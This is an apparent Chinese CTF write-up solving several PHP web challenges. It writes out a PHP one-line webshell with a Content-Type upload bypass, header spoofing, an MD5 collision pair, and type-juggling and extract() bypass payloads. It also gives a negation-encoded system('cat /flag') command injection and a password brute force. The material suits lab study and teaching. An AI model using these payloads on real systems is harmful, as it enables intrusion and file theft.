扫描目录得到www.zip,下载到电脑后打开里面有index.php和robots.txt,点开得到两段flag,拼接得到完整flag
这里上传一句话木马,抓包后修改content-type:image/png绕过检测,这里使用的木马是
php phpinfo(); @eval($_POST['shell']);
这里看见php信息说明木马上传成功,用蚁剑链接flag在根目录下
以闯关形式做题,最后抓包修改后的内容如下。
User-Agent:后面表示的是服务器
referer后面改为newstarctf.com,加上X-Forworded-For:127.0.0.1,把所有有网址的地方都改为127.0.0.1
简单测试了一下就在源码出现了flag
?number1=2&number2=__class__
题目如下
";
if($_GET['key1'] !== $_GET['key2'] && md5($_GET['key1']) == md5($_GET['key2'])){
$flag1 = True;
}else{
die("nope,this is level 1");
}
}
if($flag1){
echo "=Level 2=
";
if(isset($_POST['key3'])){
if(md5($_POST['key3']) === sha1($_POST['key3'])){
$flag2 = True;
}
}else{
die("nope,this is level 2");
}
}
if($flag2){
echo "=Level 3=
";
if(isset($_GET['key4'])){
if(strcmp($_GET['key4'],file_get_contents("/flag")) == 0){
$flag3 = True;
}else{
die("nope,this is level 3");
}
}
}
if($flag3){
echo "=Level 4=
";
if(isset($_GET['key5'])){
if(!is_numeric($_GET['key5']) && $_GET['key5'] > 2023){
$flag4 = True;
}else{
die("nope,this is level 4");
}
}
}
if($flag4){
echo "=Level 5=
";
extract($_POST);
foreach($_POST as $var){
if(preg_match("/[a-zA-Z0-9]/",$var)){
die("nope,this is level 5");
}
}
if($flag5){
echo file_get_contents("/flag");
}else{
die("nope,this is level 5");
}
}
key1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
key2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
这是一对MD5值相同但是本身不相同的东西,或者这里用数组绕过也行key1[]=1&key2[]=1
!is_number确保传参的没有数字,这里要求传入的数大于2023但是不能输入数字,我们可以用%00截断绕过或者在2024后面加字母,比如2024%00,2024admin,php的弱比较也能用这种方式绕过
完整payload:
key1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&key2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2&key4[]=1&key5=2024%00
最后个条件困了我挺久,以为是检测整个post请求体都不含字母数字,其实不是,最后两个都是空格,payload:
flag5= &key3[]=
原理如下:
先用extract把post方法传的数据提取成一个个参数,两个传的都是空格,哪怕给flag5传的是空格,服务器也是认为flag5存在的
php在接收参数的时候发现表单名有点号(.)或者空格( )的时候会自动把它们转化为下划线,e_v.a.l会变成e_v_a_l被服务器接受,自然无法命令执行。但是php会把表单名里的[自动转化为_
这里使用了取反绕过,得到system的编码后把system替换为cat /flag得到另一个编码,最后在这两个括号里分别填上编码,第一个括号填system的,第二个填cat /flag的(~)(~);
payload:
(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%9E%98);
当然也可以使用简单的模糊绕过比如:
e[v.a.l=echo `ta? /fl*`;
用brupsuite爆破admin的密码得到密码000000
登录后进入一个交互界面,其实在这个时候翻一下历史包搜flag关键词就能找到flag
如有错误欢迎指出